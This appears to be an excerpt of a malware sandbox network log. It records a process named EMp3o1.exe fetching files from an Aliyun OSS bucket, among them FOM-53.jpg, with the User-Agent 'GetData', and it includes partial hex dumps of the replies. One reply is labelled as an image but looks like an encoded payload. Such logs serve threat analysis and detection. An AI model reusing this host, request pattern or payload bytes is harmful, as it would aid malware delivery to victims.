2025-01-05 09:12:35 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:12:35 GMT Content-Type: image/jpeg Content-Length: 5062442 Connection: close x-oss-request-id: 677A4D03716A9C3036FB706C Accept-Ranges: bytes ETag: "70C21DA900796B279A09040B00953E40" Last-Modified: Mon, 18 Nov 2024 15:32:22 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 360383310743409046 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: cMIdqQB5ayeaCQQLAJU+QA== x-oss-server-time: 13
2025-01-05 09:12:35 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-05 09:12:35 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-05 09:12:35 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-05 09:12:35 UTC	4096	IN	Data Raw: f5 f5 f3 fb ff fd f3 f5 f7 f5 f3 eb ef ed d3 d5 d7 d5 d3 dd bf a7 d3 d5 d3 d5 d3 2d 2f 2d 33 37 37 75 32 3d 3f 2d 33 35 27 35 33 2d 2f 3d 53 55 47 55 53 5d 5f 5d 53 45 57 55 53 11 b2 50 73 3f 77 75 73 f1 8d 4d 73 a9 77 75 73 6d 3f 17 53 b5 56 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 35 37 35 33 3d 0f 47 33 15 2c 35 33 2d 2f 2d d3 d5 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 f5 f7 f5 f3 fd ff fd f3 f5 f7 f5 f3 4d c9 97 d3 95 d7 d5 d3 dd df dd d3 d5 d7 d5 d3 2d 1f 00 33 51 37 35 33 3d 3f 3d 33 35 37 35 33 2d 2f 2d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 43 1b 08 0b 01 77 75 73 1e cd 7c 73 75 67 75 73 6d 6f 6d 53 55 57 55 53 5d 5f 5d 53 55 57 55 53 2d 2f 2d 33 15 37 35 53 13 4d 59 52 41 56 35 33 e5 a6 2d d3 d5 07 d4 d3 dd df dd d3 d5 d7 d5 d3 ed ef ed f3 Data Ascii: -/-377u2=?-35'53-/=SUGUS]_]SEWUSPs?wusMswusm?SVUS]_]SUWUS-/-35753=G3,53-/-M-3Q753=?=35753-/-SUWUS]_]SUWUSCwus\|sugusmomSUWUS]_]SUWUS-/-375SMYRAV53-
2025-01-05 09:12:36 UTC	4096	IN	Data Raw: d1 7d e2 3a fb d9 7f 2d 5c 08 7e 89 cb e9 3a 78 19 d3 d3 54 a8 dd 3b c0 68 9c d3 da f6 a0 3f b8 09 85 13 9c b2 89 02 f5 bb 84 84 22 99 a1 5c eb db e4 e4 52 d7 a8 84 57 57 3d d3 53 dd 2c 15 fe 48 f8 17 59 7b 94 02 a5 74 75 f2 ab 6b 6d 53 55 5c 97 a4 8d b7 85 fd 1e 57 33 82 c4 fc f5 5b b3 98 02 7d b4 7b 18 33 b8 53 11 3f c4 e7 e4 99 d5 df 7a 12 6b f1 4b ab 5b 8f 5c 2e 0b c5 75 fb 0d d3 04 7a 6d a5 1d 7f b1 af 41 46 fd 97 72 44 70 9c 6c f0 98 c6 38 c7 3a 4f 9d 67 53 5d 8b 18 45 fa 27 78 f9 2c e7 bf e3 1a 15 03 e6 d9 54 24 d6 03 bf c8 c3 24 e4 ff 0d e1 62 93 bb 32 d3 1d e0 a9 69 56 22 dc 79 04 9f f6 79 91 f4 ce a4 27 3e 2c 7c 5a 6b f3 21 34 52 4f 12 6e 97 99 0b 32 20 48 ad 50 69 a7 06 6a 8b 46 53 7e 44 e7 8d 63 9d 43 d3 36 f2 39 ef 4b 76 db 20 c3 a9 cd f4 6d Data Ascii: }:-\~:xT;h?"\RWW=S,HY{tukmSU\W3[}{3S?zkK[\.uzmAFrDpl8:OgS]E'x,T$$b2iV"yy'>,\|Zk!4ROn2 HPijFS~DcC69Kv m
2025-01-05 09:12:36 UTC	4096	IN	Data Raw: 5c f2 f3 f2 cb a8 4e 59 1d d2 ce 66 43 81 7b ff 67 50 14 99 fb dd 4e 2d 27 1b 3b 32 e1 3d 33 3a 03 dd 71 52 2f 3d b3 f7 09 f2 37 09 35 05 d2 00 d7 a7 6e a2 5b 79 ad 9f 96 b5 c6 ed 9d 66 b3 39 53 74 34 ad bd bc 93 b3 fe 71 77 93 a5 84 18 86 55 55 ba d3 80 5c 53 d8 33 71 4b ee a2 49 17 31 de 70 f5 2e 3f d4 1a 6a 27 35 da f8 c9 29 d3 3d 14 a5 d5 dd 18 d9 f7 74 d2 59 bd 8b 6e 18 e6 02 30 b1 d7 f9 6b fa e2 61 91 0a 36 8b dc 30 3b 0f bb de d3 87 8c 44 53 a3 22 0d aa a3 e3 13 d4 68 4b 97 1e 19 a2 5f ef 4f 5c 9c 5f 83 e2 ed 0e 6b 27 d3 18 e0 1f 57 f6 99 4e 8f 66 e4 e9 d6 c4 39 a5 10 98 95 71 d9 7b bc 71 9c 9c 89 c1 9c 58 3a b4 2b 66 f8 3c 84 df 79 ba 43 96 ad af 4f c6 9e 70 72 72 50 0a 98 50 ac 17 9d c0 f8 94 89 96 25 87 df 01 09 25 05 6d 3f 30 e0 76 8e 06 07 6c Data Ascii: \NYfC{gPN-';2=3:qR/=75n[yf9St4qwUU\S3qKI1p.?j'5)=tYn0ka60;DS"hK_O\_k'WNf9q{qX:+f<yCOprrPP%%m?0vl
2025-01-05 09:12:36 UTC	4096	IN	Data Raw: 20 fb 64 56 1a 91 6e df 20 2c 89 77 e2 e2 05 39 f2 8e f5 00 2d 52 de 02 01 04 ca 1a ce 6a d2 47 a1 f6 d0 fe 59 5f 7b be ab de 7e b5 7b 3a bc 5c 60 b4 14 c4 40 8e 4f 1b d3 50 30 ca 88 05 19 87 a6 6c 44 9c 38 ec 39 0e 59 7b 02 e0 f1 72 5e f5 ad 67 1a cd 99 59 ab ba 5e 62 b2 6a a6 96 6c 3f b0 7f 47 31 af f9 8d b1 e6 2c 04 cc 68 ac 20 ea 27 da fc 3a c9 29 c2 2d 03 bc 6d b2 50 da 12 b2 4e b6 81 da 21 4d f8 86 bb 30 9c c3 3a 42 00 c7 75 98 22 d5 e2 ed f7 ca c4 d5 09 a4 4e 82 04 d4 70 9c 5e b4 e3 6c a8 46 17 b5 25 7a 7b b5 5c 61 52 62 b2 1a fe 80 42 8b a0 8b af 69 84 9a 79 9f 8b 45 e0 9d 05 e1 0c 2d e5 1f 50 b8 e2 04 38 e7 df 32 37 b0 48 b1 af 82 c3 27 a8 d2 aa e1 62 df e9 b2 a2 12 f5 be 96 d6 5d 5d 4d 27 3a 1a 32 92 06 ad 9a 5b a6 db 14 ee 80 13 e1 a7 67 c5 71 Data Ascii: dVn ,w9-RjGY_{~{:\`@OP0lD89Y{r^gY^bjl?G1,h ':)-mPN!M0:Bu"Np^lF%z{\aRbBiyE-P827H'b]]M':2[gq
2025-01-05 09:12:36 UTC	4096	IN	Data Raw: 11 ac 16 c6 07 c4 9d 58 cd bb f4 f0 2b 3a 16 5a da 8a 33 81 27 42 b4 e4 1c b3 44 f3 eb 30 85 ed 13 a0 b4 46 35 68 06 83 59 2b bf 9b 83 03 97 31 12 15 bc 78 b1 76 b9 71 21 32 04 6b 81 a4 83 32 6f d6 69 98 27 df ea f9 0c 4f 4b 67 2f 4b 06 67 44 04 ef 78 60 0a 1a 43 f5 40 32 c2 0d 65 17 e5 08 cc a8 23 c1 d9 dd 70 6e 88 fc 7f 8d 81 6d 3c 8a c0 7c 8f 3d 55 13 79 ca fa 4f 7d 9f 59 1f ab 7a 58 3c b6 7e 0a 9f 2b 23 7e 6a 96 9f 38 e0 63 e5 5a 1a 32 5b b4 2a 2e c8 4b fc 30 60 d4 a2 2b 2b bb 40 ab 29 c3 47 5a c5 72 2a 67 22 60 fd 3a 2c 8c 49 94 ad 10 8c f4 1c aa 13 b2 44 63 6e 0d 2e 1c 0e 75 75 75 69 83 57 e4 6c 56 e5 7f 18 20 b8 d1 37 88 2a 1b 65 fe 57 b8 31 b5 b2 3c d8 01 d7 18 1c 20 44 7d d7 1c 11 ca 50 b1 34 77 e7 17 39 01 6f c0 e8 d3 94 88 53 e8 54 bc 80 c3 59 Data Ascii: X+:Z3'BD0F5hY+1xvq!2k2oi'OKg/KgDx`C@2e#pnm<\|=UyO}YzX<~+#~j8cZ2[.K0`++@)GZrg"`:,IDcn.uuuiWlV 7*eW1< D}P4w9oSTY
2025-01-05 09:12:36 UTC	4096	IN	Data Raw: ef cc 4c d0 d3 09 06 21 8c 0a e4 fd 58 ee 29 db 81 82 6d c1 a4 30 bc c1 88 36 cd ab 62 b5 32 ab fb fb ec 20 e3 1f be d1 52 c7 7b bf 58 54 f3 43 f2 8d 0e 8b f7 13 10 a0 bb 4f ee a1 7a 27 8f 37 90 b6 93 e7 12 94 df b3 75 98 ed 5e 3f 26 b3 6b dc e4 4b ac 06 65 59 29 76 21 46 e6 59 50 ec 8d 23 41 76 61 bd b4 2a c0 a1 d0 00 7d 85 b9 46 a9 73 14 b0 38 5b 50 8e c5 4d 41 4e b1 33 ec 52 c8 9b 60 d6 75 f5 94 ee 23 f4 6f f6 e6 d2 e9 4d 56 be d7 e4 8f 26 6e aa 79 e5 e6 5e 13 6c 17 b6 e2 e2 11 f5 fe 7e 0b 44 9b c6 aa 3a f9 70 8c 7b bc 07 41 a6 db 37 9c 40 ed 30 d4 63 08 f2 34 c3 bc 19 00 1b 0e a0 05 0a d9 18 ea e0 fd 6c 8a 5d c5 2d 44 59 87 c8 6a f8 9f 94 42 5d b7 0d 78 f1 3b 58 f0 58 03 2c 94 05 87 6d 14 59 c3 c8 52 68 6d 20 54 3c df df dd d3 b3 5e da 3a d6 ef ef f3 Data Ascii: L!X)m06b2 R{XTCOz'7u^?&kKeY)v!FYP#Ava*}Fs8[PMAN3R`u#oMV&ny^l~D:p{A7@0c4l]-DYjB]x;XX,mYRhm T<^:
2025-01-05 09:12:36 UTC	4096	IN	Data Raw: 15 03 58 89 56 b4 b6 a2 ad 03 9c f1 67 d1 75 f3 e8 19 38 39 86 89 50 71 f6 9c 55 6e f0 3c 79 b6 4b a6 36 b9 b4 a2 ab 24 ae 39 77 96 dd 86 d0 fd 7d 97 cb 0d f0 c5 e3 02 f9 c1 52 24 d9 92 d5 0f ce ba 02 8d 60 9d a4 7e 46 0c f6 07 7e 6e 99 9f b7 49 61 ff 7c c2 1d c4 45 e2 10 ab 9d 5d f3 48 c7 32 f2 49 bd 7e 2c f3 14 b8 55 84 3b b6 cd f2 2c a2 4e c8 2f 6a 5f 90 af 64 33 93 34 22 de 67 0c 00 0a 07 58 6d 1d 91 a5 e8 77 57 3e 92 ad 64 db 25 db 5a a7 9e fb ee 37 1e bf 9f 1c 20 8f 58 83 8e 9c 9d 1a 84 f4 2f e8 b6 e9 fc 5c 14 cf 3d a8 20 c1 36 73 8b 6d ad fa 19 32 a5 19 e7 34 c8 51 2a b2 c7 6f 71 16 6b 1a c9 12 87 4a 5b 13 27 7e 0c 5d 42 3e 1f df 6d a6 94 82 5a 53 5e fd 07 49 a4 e3 fa f2 49 de ae 8b 50 62 d9 cf c2 ba 82 06 00 8f 34 6e 19 e8 d9 e4 90 5c e0 85 6f a3 Data Ascii: XVgu89PqUn<yK6$9w}R$`~F~nIa\|E]H2I~,U;,N/j_d34"gXmwW>d%Z7 X/\= 6sm24Q*oqkJ['~]B>mZS^IIPb4n\o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	62786	118.178.60.9	443	6032	C:\Users\user\Documents\EMp3o1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-05 09:12:46 UTC	115	OUT	GET /FOM-53.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-05 09:12:46 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Sun, 05 Jan 2025 09:12:46 GMT Content-Type: image/jpeg Content-Length: 366410 Connection: close x-oss-request-id: 677A4D0EA966993036C402AA Accept-Ranges: bytes ETag: "DA1D5EB665D3AAD523BE59415E6449ED" Last-Modified: Tue, 22 Oct 2024 14:47:51 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5641369857548672686 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 2h1etmXTqtUjvllBXmRJ7Q== x-oss-server-time: 61
2025-01-05 09:12:46 UTC	3549	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-05 09:12:46 UTC	4096	IN	Data Raw: 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 Data Ascii: ```````````````````````````````````````````````````````````````
2025-01-05 09:12:46 UTC	4096	IN	Data Raw: 60 60 60 eb 25 68 30 9f 75 d0 14 62 70 e9 25 84 e3 1d 84 60 15 67 52 a0 89 a9 60 60 60 06 67 e5 4c a2 a0 c6 2b ed ac f1 5f b5 0c d4 a2 b0 c6 29 e5 4e 2b f5 44 2b e2 ac 2b a8 2b b1 29 f5 10 8a f0 6d a5 0c b0 6b ad 34 6b b1 a8 b2 1f f5 2c 94 e2 f0 63 18 1f 95 e7 d2 20 09 68 e0 e0 e0 67 e5 5c a1 a0 a0 a0 ca a4 2d e5 5c f0 ca a8 c8 5f 5f a0 a0 2b ed 74 2b f1 e8 f2 5f b5 08 d4 a2 70 e5 a0 15 59 a7 25 b8 61 60 60 60 a7 25 bc 40 df 62 60 a7 25 80 e8 73 60 60 0a 60 0a 60 ed 25 48 f0 ca a0 ca a0 ca ac 2d ed 78 f1 c8 a4 a0 a0 38 2b f5 74 2b e2 e8 f0 5f b5 00 d4 a2 b0 2b ed 34 26 a1 b3 e1 8a e0 8a e0 8a e0 6b b5 34 b2 88 69 f7 e0 f0 8a e0 8a e0 08 da 10 e0 e0 63 24 fc 2b ed 74 29 e1 e4 10 a1 2b 45 fd 62 a8 a0 f5 2b 4c 18 b8 6a a0 a0 48 9a a7 a1 a0 f6 f7 2b e5 a8 e9 Data Ascii: ```%h0ubp%`gR```gL+_)N+D+++)mk4k,c hg\-\__+t+_pY%a```%@b`%s````%H-x8+t+_+4&k4ic$+t)+Eb+LjH+
2025-01-05 09:12:46 UTC	4096	IN	Data Raw: 2c 9d 9f 9f 31 ed f5 f4 9e 9f 9f 32 88 1d 9d 60 60 e3 a4 70 ed e5 f4 9e 9f 9f 30 ed ed 10 5d 5f 5f f1 5f b5 30 d2 a2 b0 ca a0 c8 20 a0 a0 a0 ca a2 ca a0 ca a2 c8 a0 a0 a0 e0 c8 a0 4c a2 f0 1f f5 74 92 e2 f0 69 65 84 1d 1f 1f 63 5d 84 1d 1f 1f 1f 95 e7 d3 20 09 0a e0 e0 e0 8a e0 6d 35 cc 5d 5f 5f f2 2b e5 a8 f0 48 06 5c a0 a0 23 64 a4 2b ed ac 8b 68 23 49 a1 f1 2b f5 a8 f2 48 f1 9c 60 60 e3 a4 64 eb 2d 68 ed 34 61 61 32 eb e5 04 9d 9f 9f 30 9f 75 f8 12 62 70 eb ed 04 9d 5f 5f f1 5f b5 44 d2 a2 b0 c8 54 a1 a0 a0 5f b5 6c d2 a2 b0 ca a1 c8 8c 4c a2 b0 48 61 5c 5f 5f 63 24 e8 8a e0 88 b8 0c e2 f0 08 dd 1b e0 e0 63 24 e8 63 18 1f 94 d0 8a e0 8a e0 8a e0 6d 75 18 5e 5f 5f f2 c8 24 4c a2 b0 ca a0 5f b5 a0 d3 a2 b0 ca a0 01 68 ec a5 b0 f0 5f b5 3c d2 a2 b0 ca 60 Data Ascii: ,12``p0]___0 Ltiec] m5]__+H\#d+h#I+H``d-h4aa20ubp___DT_lLHa\__c$c$cmu^__$L_h_<`
2025-01-05 09:12:47 UTC	4096	IN	Data Raw: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 44 45 46 47 48 49 4e 4e 4e 4a 4b 4e 8e 8e 8c 8d f5 2b 4c 21 4c 18 a2 a0 a0 29 2d e8 5d 5f 5f c8 ac 4e a2 b0 48 3e a3 a0 a0 23 64 a4 8a e0 88 f4 0e e2 f0 08 d5 0d 1f 1f 63 24 e8 8a e0 88 d0 0e e2 f0 08 c6 0d 1f 1f 63 24 e8 88 08 a3 a0 a0 5f b5 6c d2 a2 b0 c8 e8 4e a2 b0 5f b5 20 d2 a2 b0 c8 c0 4e a2 b0 5f b5 20 d2 a2 b0 c8 88 63 60 60 9f 75 ac 12 62 70 08 64 61 60 60 ed e5 98 9e 9f 9f 30 0a 60 9f 75 e4 12 62 70 a6 e5 24 5e 5f 5f eb 66 25 25 5e 5f 5f e5 66 25 26 5e 5f 5f f2 66 25 27 5e 5f 5f ee 66 25 28 5e 5f 5f a5 26 65 69 1e 1f 1f ac 26 65 6a 1e 1f 1f d3 26 65 6b 1e 1f 1f d2 26 65 6c 1e 1f 1f ce 26 65 6d 5e 5f 5f c4 66 25 2e 5e 5f 5f cc 66 25 2f 5e 5f 5f cc 66 25 30 5e 5f 5f a0 66 25 d4 5e 5f 5f e7 a6 Data Ascii: NNNNNNNNNNNNNNNNNNDEFGHINNNJKN+L!L)-]__NH>#dc$c$_lN_ N_ c``ubpda``0`ubp$^__f%%^__f%&^__f%'^__f%(^__&ei&ej&ek&el&em^__f%.^__f%/^__f%0^__f%^__
2025-01-05 09:12:47 UTC	4096	IN	Data Raw: 75 90 12 62 70 d8 61 60 60 60 8b 62 8b 80 eb 85 3d a3 35 eb 8c e3 8c 08 37 eb 25 68 e9 25 38 66 e5 3c a0 19 b8 a0 a0 a0 93 60 2d dd 3d 53 0b c6 0b 0a ca c4 2b ed 38 f1 2d f5 3c f2 48 92 2f e0 e0 63 24 ec 6d a5 7c b0 6b ed 28 09 e2 f0 b1 88 78 a5 e5 f0 6b b5 78 63 22 84 b2 08 df 1f 5f 5f 23 64 b0 93 60 ff 2b 45 fd 62 a4 a0 f5 2b 4c ca a0 01 68 49 a2 b0 f0 c8 38 e5 a5 b0 2b ed 68 31 88 7a 9f 9f 9f e3 a4 70 53 a0 3d a2 64 60 35 eb 8c 0a 60 c1 60 60 60 70 30 08 60 60 60 70 2b ed a8 f1 48 58 5e 5f 5f 23 64 b0 93 60 fd 62 a4 a0 f5 2b 4c 21 4c 80 a4 a0 a0 f7 c8 cc 4f a2 f0 1f f5 68 92 e2 f0 69 a5 18 d3 20 86 41 6a dd e5 f0 65 20 95 e5 09 a7 e1 e0 e0 d3 29 86 6b ed 2a 9d a5 b0 29 ed 5c 2b f5 5c 61 42 aa 29 f5 50 ca a0 c8 20 a0 a0 a0 ca a4 ca a0 ca a2 c8 a0 a0 60 Data Ascii: ubpa```b=57%h%8f<`-=S+8-<H/c$m\|k(xkxc"__#d`+Eb+LhI8+h1zpS=d`5````p0```p+HX^__#d`b+L!LOhi Aje )k*)\+\aB)P `
2025-01-05 09:12:47 UTC	4096	IN	Data Raw: 61 60 60 eb 25 68 30 ed ed 40 9d 9f 9f 31 88 00 df 60 60 e3 a4 6c a6 e5 f8 9e 9f 9f 60 d9 f9 a0 a0 a0 93 60 2d 1d 39 5e 5f 5f 53 0b c6 0b 0a ca a0 ca a0 ca a2 ca a0 ca a1 c8 a0 a0 a0 e0 6d 75 cc 1e 1f 1f b2 1f f5 74 92 e2 f0 69 65 70 1e 1f 1f 63 5d 70 1e 1f 1f 1f 95 e7 d3 20 09 11 a0 a0 a0 ca a0 2d 25 34 5e 5f 5f f0 2b ed ac 21 49 d0 a1 a0 a0 f1 2b f5 a8 21 62 d0 a1 a0 a0 f2 eb e5 f0 9e 9f 9f 30 9f 75 f8 12 62 70 e5 a0 15 67 53 a0 89 dc 60 60 60 eb ed f0 9e 9f 9f 31 9f b5 a4 ed a5 b0 2d 35 88 5d 5f 5f f2 48 c4 6c a0 a0 23 64 a4 25 60 d4 85 2d 25 88 5d 5f 5f f0 2d 6d cc 1e 1f 1f b1 88 6c 11 e2 f0 6d 75 78 1e 1f 1f b2 1f f5 b4 ad e5 f0 63 24 f0 0b f4 6d 65 cc 5e 5f 5f f0 2d 2d 38 5e 5f 5f f1 5f b5 68 d2 a2 b0 2b 35 84 5d 5f 5f 29 35 bc 5d 5f 5f 23 1d bc 9d Data Ascii: a``%h0@1``l``-9^__Smutiepc]p -%4^__+!I+!b0ubpgS```1-5]__Hl#d%`-%]__-mlmuxc$me^__--8^___h+5]__)5]__#
2025-01-05 09:12:47 UTC	4096	IN	Data Raw: 60 ac ac 35 eb 8c 53 a0 c0 4c c6 65 70 e3 80 61 e5 a0 15 6f ea 6d 4c c6 65 70 e0 a9 61 e8 ad 8c 06 a5 b0 fd 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 ac 2a e8 6b b5 1c 68 ea 8a e0 6b ad 1c 08 f5 e2 e0 e0 6b a5 e8 b0 6b ad 1c 08 a9 e1 e0 e0 6b a5 1c 6b 45 fd 62 a8 a0 f5 2b 4c f1 29 ed 5c ca a1 2b ed 5c 48 4f a1 a0 a0 2b 45 fd 63 6c 6c 6c 6c 6c 6c ac ac ac ac ac 35 eb 8c 31 e9 2d 9c ea 25 68 30 0a 61 eb 2d 9c 88 eb 60 60 60 eb 85 3d a2 64 60 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 5c 2b e8 a8 9b ed a8 d7 a5 48 c2 c9 a1 a0 2b ed 5c 48 f1 e1 e0 e0 6b b5 1c 6b a2 e4 e3 a5 e8 6b 05 bd 22 e4 e0 2c 2c b5 6b 0c 63 0c e8 69 ad 1c 6b a5 5c 23 d8 a4 a0 d5 aa 48 c9 a1 a0 a0 29 e5 58 4b a9 2b ed 5c 2b f1 a4 29 f5 58 2b e5 58 2b 45 fd a3 Data Ascii: `5SLepaomLepacllllllllllllll+L)\+*khkkkkkEb+L)\+\HO+Ecllllll51-%h0a-```=d`lllll+L)\+\+H+\Hkkk",,kcik\#H)XK+\+)X+X+E
2025-01-05 09:12:47 UTC	4096	IN	Data Raw: 62 e3 98 1d 15 6a a7 65 0c 94 62 70 60 60 60 60 e3 5d 0c 94 62 70 60 14 41 08 12 74 60 60 5f b5 6c d2 a2 b0 2b 2d 44 5e 5f 5f 48 7c 5c 5f 5f 2b 2d 44 5e 5f 5f 48 ff 5d 5f 5f 2b ed 54 c4 69 ed e0 e0 e0 e0 bf be bb 6b 05 bd 22 e8 e0 2c 2c 2c 2c 2c 2c b5 6b 0c b1 69 ad 1c 6b ad 1c 08 23 5c 5f 5f 2b e5 a8 23 40 a1 25 60 d4 ac 2b ed 5c f1 48 53 3e a0 a0 23 64 a4 2b e5 5c 2b 45 fd a2 64 60 ac ac 35 eb 8c 88 67 60 60 60 88 71 60 60 60 3d a3 35 eb 8c d9 ad 2c 65 70 88 75 3c 61 a0 fd 63 f5 2b 4c c8 f0 d7 a0 b0 48 10 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 